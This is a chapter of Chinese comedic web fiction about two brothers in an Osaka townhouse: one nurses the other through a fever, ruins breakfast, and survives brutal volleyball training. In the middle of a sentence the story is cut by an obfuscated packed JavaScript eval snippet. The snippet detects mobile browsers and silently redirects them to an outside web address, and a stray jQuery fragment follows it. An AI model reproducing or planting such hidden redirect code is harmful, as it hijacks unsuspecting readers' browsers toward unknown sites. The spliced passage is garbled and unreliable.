七月的蝉鸣像冲锋号撞进町屋，健太正缩在壁橱里发抖。美咲去东京参加居酒屋连锁招商会，铁平接了个长途单，临走前把金太郎栓在玄关当“临时监护人”。
建人被热醒时，发现健太蜷成虾米，裹着冬被挤在壁橱边——这面瘫弟弟在38℃高温下活像北极熊。
“喂，你cosplay企鹅呢？”建人用脚趾戳他，触感烫得像美咲的烤炉。
健太迷迷糊糊吐出句：“七局下半…满垒…”
建人瞬间清醒，抄起体温计塞进弟弟嘴里。
“三十八度九！”他甩着从便利店抢来的体温计，“你小子要烧穿甲子园吗？！”
金太郎叼来冰袋，却被健太发烫的手推开。弟弟的扑克脸泛着病态潮红，嘴里嘟囔：“七局下半…满垒…”
“这时候还惦记棒球！”建人扯掉健太的棒球睡衣，发现他胸口贴着张泛黄照片——五岁生日，全家在居酒屋的合影。美咲的围裙还没补丁，铁平头发乌黑，自己正把蛋糕糊在健太脸上。
“哥…”健太猛地抓住建人手腕，力道像投决胜球，“别卖金太郎…”
“谁要卖这蠢狗！”建人掰开他的手，“你烧糊涂了吧？！”
金太郎在脚边狂吠，像在抗议被叫蠢狗。
“好好好，金太郎sama！”建人举手投降。
突然，金太郎冲向后院狂吠。建人推开窗，发现三个小混混正翻美咲藏的啤酒箱。
“夜叉罗二代目在此！”他抄起晾衣杆翻窗而出，拖鞋在半空划出优美弧线。
击退混混的代价是左膝盖擦伤，渗血的伤口像在嘲笑他的英勇。
建人蹲在健太面前：“上来！老子背你去医院！”
健太滚烫的呼吸喷在后颈：“哥…你比五岁时矮了…”
“放屁！是你长成巨婴了！”建人咬牙反驳。
正午的太阳像美咲的平底锅扣在头顶。建人背着健太穿过商店街，汗水把T恤浸成半透明。
路过柏青哥店，老板探头喊：“荒巻家的小子！借三轮车吗？”
“谢了！”建人把健太塞进堆满小钢珠的货箱，“坐稳！秋名山车神附体！”
三轮车在颠簸中哀鸣，健太突然抱住建人腰：“哥…别输给早川…”
“哈？”
“她看你的眼神…像捕手看投手…”建人差点撞上电线杆。
后视镜里，健太发烧的朦胧眼神像被雨淋湿的柴犬。
“你小子烧坏的是脑子还是八卦雷达？！”建人猛踩踏板，“有空操心我，不如想想怎么退烧！”
货箱传来异响——健太吐在了小钢珠堆里。建人看着被呕吐物淹没的柏青哥战利品，心想明天商店街怕是要流传“夜叉罗二代目用生化武器袭击”的传说。
急诊室护士盯着健太的棒球帽：“青空学园四号？我女儿是你粉丝！”
建人顺走两包退热贴：“这小子烧傻了，能顺便要个签名费吗？”
另一个护士皱眉看体温计：“怎么现在才送来？”
建人挠头傻笑：“他平时体温低得像冷藏库…”话未说完，健太抓住他手腕，力道能捏碎核桃。
“哥…甲子园的土…”健太烧红的眼睛像融化的玻璃珠，“我挖不到了…”
“哈？”
“美咲姐的戒指…铁平叔的头盔…”滚烫的泪水砸在建人手背，“都变成我的棒球…”输液时，健太的胡话达到巅峰：“捕手手套…换成章鱼烧…”
“等你好了，让美咲姐做章鱼烧手套。”建人用手机录下黑历史，“到时候打者都馋哭。”输液管随抽泣摇晃，建人忽而想起上个月在当铺看到的古董戒指。
他揉乱弟弟汗湿的头发：“知道金太郎为啥总偷吃章鱼烧吗？”健太茫然摇头。
“它上辈子是米其林大厨。”建人一本正经胡扯，“现在故意吃垮我们，好继承居酒屋。”
护士憋笑憋出内伤，健太嘴角扬起0.5度。建人正要编“铁平叔是外星人”，早川茜踹开急诊室门：“活着吗？”
她甩出运动背包，“里面有佐藤翔阳的弱点分析。”
“你是恶魔吗？！”建人抖出满桌资料——击球热区图、肌肉发力分析，甚至佐藤小学时的尿床记录。
健太突然诈尸般坐起：“第七页第三行…”两人吓得抱作一团。
“…数据误差0.3%。”说完又栽回枕头。
早川推了推反光眼镜：“令弟烧到四十度还能心算排球数据？”
“荒巻家的被动技能。”建人把冰袋扣在弟弟头上，“美咲姐剁鱼时能解微积分，铁平叔能闻出啤酒产地…”
居酒屋二楼弥漫着消毒水与咖喱香的诡异混合。
早川茜盘腿坐在健太床边，游戏手柄线缠在双马尾上：“输了的人吃美咲姐的特制布丁。”
建人盯着《怪物猎人》的屏幕，发现她用的是限定版PSP：“你哪来这么多钱？”
“补习班工资。”早川操纵角色躲过火龙攻击，“顺便说，你接发球数据…”
“停！现在是游戏时间！”建人打断。
健太在昏睡中皱眉，像梦见被两个幼稚鬼围攻。金太郎把冰袋拱到他额头，尾巴扫飞早川的慰问品——疑似从白金学院偷渡的进口巧克力。
“你其实…”建人盯着早川侧脸，“不是单纯来探病的吧？”手柄按键声停顿两秒：“白金学院的佐藤在收集你拦网数据。”
“哈？那个自恋狂？”“县大赛决赛圈可能遇上。”早川扔来记忆卡，“里面有他最近二十场比赛录像。”
建人接住记忆卡的瞬间，健太梦呓：“哥…围裙…”
早川挑眉：“你们家play挺野啊？”
“是想象训练法！”建人耳尖通红，“你这满脑子战术的女人懂什么！”暮色染红阁楼，健太体温终于回落。
他睁眼看见早川与建人瘫在游戏机前，屏幕显示“败北”大字。
“醒了就救命！”建人甩来手柄，“这女人虐我十三局了！”健太接过手柄，烧未退净的手指精准操作。
早川看着自己角色被太刀砍飞，瞳孔地震：“你玩过这个？”
“观察过哥的失败案例。”健太淡淡道，“预判轨迹而已。”美咲的怒吼从楼下炸响，三人正为最后一块巧克力打架。
建人边逃边喊：“病人需要热量！”
“补充个鬼！”美咲的锅铲在月光下泛寒光，“敢带坏健太，就让你穿草莓围裙接发球！”
深夜，建人蹲在厨房煮粥。健太悄无声息出现，手里攥着皱巴巴的信封：“给早川前辈的。”
“情书？！”建人眼睛放光。
“录像分析报告。”健太面无表情。建人打开信封，满页击球轨迹函数图，角落还有烧糊涂时画的涂鸦——Q版早川踩着佐藤翔阳，标注“斩杀线”。
梅雨在凌晨突袭大阪，雨点砸在町屋铁皮屋顶，动静堪比早川的杀人发球。
建人被雷声惊醒，发现健太盘腿坐在窗边，面前摊着被雨水泡皱的笔记本——封皮上“甲子园作战计划”的字迹晕成抽象画。
“你烧退了就作妖？”建人甩去额头冷汗，T恤后背湿透，分不清是雨水还是被弟弟吓的。
健太用铅笔尖戳着玻璃上的雨痕：“白金学院对西高的比赛录像，佐藤翔阳雨天扣杀成功率下降11%。”
“所以？”
“县大赛下雨的话，”健太转头，眼睛在闪电中亮得吓人，“你拦网胜率能到61%。”
建人夺过笔记本，每页画满暴雨轨迹函数图，空白处还有Q版佐藤被雷劈的涂鸦。他终于懂了早川为何叫这弟弟“人形超级计算机”。
金太郎叼着美咲的围裙冲进屋，上面用口红写着“敢死就宰了你”。
建人这才想起今天是还款日最终期限，而美咲还在东京与连锁店代表斗智斗勇。
“早饭想吃什么？”建人系上围裙，“友情提示：只有速食咖喱和勇气。”
健太默默掏出手机，点开外卖APP。雨点砸在町屋铁皮屋顶，节奏乱得像早川茜的杀人发球。
建人盯着健太手里的外卖APP，屏幕上跳动的拉面图标仿佛在嘲笑他的“速食咖喱和勇气”。
金太郎蹲在窗台，狗爪拍着美咲的草莓围裙，口红写的“敢死就宰了你”在闪电中格外刺眼。
“喂，你真要点外卖？”建人一把抢过健太的手机，“美咲姐回来发现账单，咱俩得被做成章鱼烧馅料！”
健太面无表情，指了指窗外：“雨天配送费涨价30%。”
“所以你还惦记省钱？！”建人差点把手机扔出去，“你烧刚退，现在是病人，懂吗？病人就得吃我亲手做的爱心早餐！”
健太的目光移到厨房角落——昨晚建人“煮”出的乌冬面包装袋还泡在焦黑汤底里，像一幅后现代灾难画作。
金太郎配合地呜咽一声，尾巴扫落一颗梅干，滚到建人脚边。
“好吧，爱心早餐暂时搁置。”建人举手投降，“但外卖也不行！咱得省下钱给美咲姐还债！”
他抄起围裙，摆出夜叉罗二代目的架势，“今天我挑战美咲姐的终极料理秘籍——速食咖喱升级版！”
健太的嘴角抽搐0.1度，像是想说什么，又默默把手机塞回口袋。
厨房像被台风扫过的战场，冰箱里仅剩的食材散发着末日气息：半袋速食咖喱、三个蔫巴的土豆、一罐铁平叔藏的过期鲭鱼罐头，还有美咲特制“杀人梅干”，每个梅干上都带着一股“我能毒死甲子园全队”的杀气。
建人系上草莓围裙，下摆的章鱼烧酱渍在晨光中泛着诡异光泽。
“金太郎，监工！”建人拍拍狗头，金太郎跳上破微波炉，铃铛项圈叮当作响，像在说：“夜叉罗三代目，参上！”
建人打开煤气灶，火苗“轰”地窜起半米，吓得他抄起锅盖当盾牌。
“小火…美咲姐说小火…”他嘀咕着，土豆在平底锅里翻滚，发出“滋滋”哀鸣。鲭鱼罐头打开的瞬间，一股海腥味冲天而起，金太郎的狗鼻抽动，差点从微波炉上栽下来。
“别慌！这叫海鲜风味咖喱！”建人强行挽尊，往锅里倒了半袋速食咖喱酱。
土豆被酱汁淹没，鲭鱼碎片在热浪中起舞，梅干作为“点睛之笔”被扔进去，瞬间让整锅料理散发出核废料般的气息。
健太倚在门框，左手还缠着退热贴，右手拿笔记本继续画暴雨轨迹函数图。
他瞥了眼锅里翻腾的“毒物”，淡淡道：“哥，咖喱里加梅干的成功率是0.02%。”
“你懂啥！这是荒巻家独门秘方！”建人挥舞锅铲，动作像在指挥交响乐，“美咲姐说过，料理的灵魂是勇气！”
“她还说过，勇气过头就是送葬。”健太翻开笔记本，涂鸦里的Q版美咲正举着锅铲追杀Q版建人。
金太郎突然狂吠，狗爪拍翻酱油瓶，琥珀色液体在地板上画出大阪湾地图。
建人手忙脚乱关火，锅里的“海鲜风味咖喱”已经进化成一团冒泡的黑色不明物体，边缘还粘着疑似鲭鱼骨头的不祥碎片。
“成功了！”建人举起锅，得意洋洋，“至少比昨晚的乌冬面有型！”健太默默掏出手机，拍下这团“料理”，备注：“哥的第二次厨房灾难，2011.7.15。”
早餐桌上，建人把“咖喱”分成两碗，推到健太面前：“吃吧！病号特供，补充能量！”健太盯着碗里漂浮的鲭鱼骨头，筷子悬在半空三秒，最终夹起一块土豆——咬下去的瞬间，他的扑克脸罕见地扭曲成《呐喊》名画。
“咋样？是不是有米其林潜质？”建人满脸期待。
健太咽下土豆，声音平静：“如果甲子园的土是这个味，我宁愿退役。”
金太郎叼走一截鲭鱼骨，嚼了两口后狂奔到后院，发出史上最悲壮的干呕声。
建人愣了三秒，抄起锅铲：“好你个面瘫弟弟！敢嫌弃夜叉罗二代目的心血！”健太闪身躲过锅铲，退热贴在动作中松开，露出腕上还未愈合的擦伤。
建人瞥见那抹暗红，动作一僵，锅铲“啪嗒”掉在地上。
“喂…”建人挠头，语气软下来，“伤口咋还没好？不是说触杀练习弄的吗？”
健太扯下袖口盖住绷带，低声道：“昨天模拟投球，忘了戴护腕。”
“模拟投球？！”建人瞪大眼，“你烧成那样还在脑子里投球？！你是人形超级计算机还是自虐狂啊！”
健太没吭声，目光落在泛黄的合影上——照片里，五岁的他被蛋糕糊满脸，建人笑得像个小恶魔。建人顺着他的视线看去，心里像被章鱼烧竹签戳了下。“行了，病人不许想甲子园。”
建人拍拍健太肩膀，“今天你老老实实休息，下午我去替你请假。”
健太抬头，眼神罕见地波动：“哥，县大赛…”
“敢说输赢不重要就揍你！”建人打断。
正午的太阳依旧像美咲的平底锅扣在大阪上空。
建人骑着三轮车冲向市立三中，车后座绑着健太的棒球帽和一袋便利店买的退热贴。
雨后的商店街弥漫着湿漉漉的烤鱼香，路边柏青哥店的老板探头喊：“荒巻家的小子！三轮车还我！”
“下周还！利息算两罐乌龙茶！”建人猛踩踏板，车轮在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529080|170792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
水洼中溅起半个大阪湾。
体育馆里，早川茜的战术板正化身凶器，田中太郎被砸得抱头鼠窜。“晓美焰的时间理论救不了你的接球失误！”
早川双马尾甩出杀气，“再偷懒就让你穿女装cos巴麻美！”
西园寺隼人边补防晒霜边嘀咕：“紫外线指数4.8，我的发型结界撑不了十分钟…”
铃木润摆出《美少女战士》姿势发球，甜腻的伪娘音回荡：“茜酱~我的爱心发球能加分吗？”
“加你个头！”早川的战术板擦着铃木耳尖飞过，“扣球线路偏差20度，回去练腰腹力！”
建人推门而入，迎面撞上黑泽龙之介的怒吼：“软脚虾！发球特训还没结束，敢喘气就加练五十个鱼跃救球！”
黑泽满臂刺青在汗水下闪光，左眼刀疤像在跳踢踏舞。“茜姐！”建人举起健太的棒球帽，“健太烧还没退，我替他请假去了！”
早川推了推反光眼镜，战术板停在半空：“烧还没退？他昨晚还给我发佐藤翔阳的雨天扣杀分析。”
“啥？！”建人差点把帽子扔出去，“那小子烧到四十度还在搞数据？！”
黑泽冷笑：“青空学园四号？听说是个机器人，烧成炭都能投球。”
他抛来一颗排球，“你既然来了，替你弟接十个发球，接不到就穿草莓围裙跑圈！”
建人咬牙接过球，草莓护膝在裤腿下若隐若现。
他站在网前，耳边回荡着健太昨晚的胡话：“美咲姐的戒指…铁平叔的头盔…”心跳莫名加速，像被甲子园的土呛了口。早川的杀人发球呼啸而至，建人下意识鱼跃，球擦着指尖飞出界外。
黑泽的怒吼震得天花板掉灰：“螃蟹步！屁股力学！你他妈在跳芭蕾吗？！”
田中趁乱偷瞄漫画，被早川抓现行：“晓美焰救不了你的传球！加练二十个头球！”
西园寺的发胶结界在第五球崩塌，防晒霜混着汗水淌进眼，惨叫堪比金太郎踩尾巴。铃木润的伪娘发球被黑泽一吼震偏，球砸中木村修平的咖啡罐，罐子爆开，咖啡粉在空中画出末日景象。
建人连滚带爬接了七球，第八球时膝盖撞上地板，草莓护膝裂开一道口子。
他喘着粗气，脑子里闪过健太的Q版涂鸦——自己穿着草莓围裙拦网，旁边写着“最牢的网”。
“最后两球！”早川推眼镜，镜片反光如狙击镜，“建人，接不到就公开你女装毕业照！”
“啥？！那照片不是销毁了吗！”建人惊恐。
“量子力学备份。”早川冷笑，甩出第九球。
建人咬牙扑救，球在指尖旋转，险险落地。他翻滚起身，膝盖渗血的伤口像在嘲笑他的倔强。
黑泽吹了声口哨：“有点夜叉罗二代目的样子了，最后一球！”
早川的发球如流星坠地，建人脑海闪过健太的合影、铁平的空钱包、美咲熬夜缝的手套。他大吼一声，鱼跃救球，球擦着网沿弹起，稳稳落在界内。
体育馆陷入诡异安静。田中手里的漫画掉地上，西园寺忘了擦防晒霜，铃木润的兰花指僵在半空。黑泽咧嘴，刀疤扭成大阪湾弧度：“小鬼，算你过关。”
早川推眼镜，语气罕见地软了几度：“健太的假条批了，但你得把这个带回去。”
她扔来一盘记忆卡，“佐藤翔阳的最新比赛录像，告诉他别烧傻了。”
建人接住记忆卡，耳尖莫名发烫：“茜姐，你该不会…真像健太说的，看我像捕手看投手吧？”
早川的战术板擦着鼻尖飞过：“想太多，拦网笨蛋。”
夕阳染红町屋，建人推开家门，金太郎叼着美咲的围裙扑上来，口红写的威胁已晕成抽象画。
健太坐在阁楼，面前摊着笔记本，铅笔在暴雨轨迹函数图上飞舞。
退热贴换了新的，腕上擦伤结了薄薄血痂，像枚甲子园泥土标本。
“哥。”健太抬头，“特训怎么样？”
“差点被黑泽大叔和茜姐做成排球馅料。”建人瘫倒在榻榻米，扔出记忆卡，“你的份我替你扛了，这是茜姐的‘作业’。”
健太接过记忆卡，指尖的老茧刮过建人手背。他打开笔记本，扉页的Q版全家福旁多了行字：“哥的鱼跃救球，胜率61%。”
“喂！你小子还偷窥我训练？！”建人抄起枕头砸过去。
健太闪身躲开，嘴角扬起0.5度：“观察失败案例，效率提升11%。”
金太郎叼来昨晚的焦黑煎蛋，狗眼亮晶晶，像在说：“夜叉罗三代目，请求投喂！”建人一脚踹开：“病人不能吃狗粮！”
“这是你的煎蛋…”健太补刀。“所以更不行！”建人咆哮。
美咲的Line适时弹出，东京塔夜景下是她醉醺醺的自拍：“活着吗？连锁店那帮混蛋想吞并居酒屋，老娘差点把锅铲塞他们嘴里！”
建人回传健太看笔记本的照片，附言：“病人活蹦乱跳，厨房已成灾后现场。”他顿了顿，又补一句：“姐，戒指和头盔的事，健太都知道了。”
屏幕暗下去前，美咲回了个“闭嘴”表情包，背景是金太郎撕账本的照片。
深夜，建人摸黑去厨房偷水喝，撞见健太站在冰箱前，手里攥着美咲的杀人梅干。他低声道：“哥，甲子园的土…我还是想挖。”
建人愣住，喉咙像被梅干酸得发紧。他拍拍健太肩膀：“那就挖！但前提是你得养好病，别让美咲姐把咱俩做成章鱼烧。”
健太垂头，嘴角弯起0.3度：“如果下雨，你的拦网能帮我守住七局下半。”
“哈？又拿我当捕手？”建人笑骂，抢过梅干塞进嘴里，酸得眼泪飙出，“成交！但你得先教我怎么不被早川的发球砸脸！”
月光漏进窗棂，金太郎的项圈铃铛轻响，像在为荒巻家的笨蛋兄弟鼓掌。
厨房角落，昨晚的“海鲜风味咖喱”还在锅里冒泡，仿佛在诉说夜叉罗二代目的失败史。
次日清晨，建人被早川的Line轰炸醒：“五点特训，暴雨接球，敢迟到就公开你和金太郎的合照！”
附图是建人被金太郎舔脸的抓拍，背景还有健太的Q版涂鸦。
“混蛋茜姐！”建人抓狂跳起，撞翻床头的游戏币。
健太倚在门框，递来一双新护膝——内侧缝着美咲的符咒：“别死太快。”
建人套上护膝，冲向体育馆。雨幕中，町屋的轮廓模糊成一幅水墨画，金太郎的吠声混着蝉鸣，像是大阪夏天的交响曲。
（此刻，远在东京的美咲正把锅铲拍在连锁店代表的合同上，嘴里骂着：“敢动老娘的居酒屋，老娘把你们腌成梅干！”）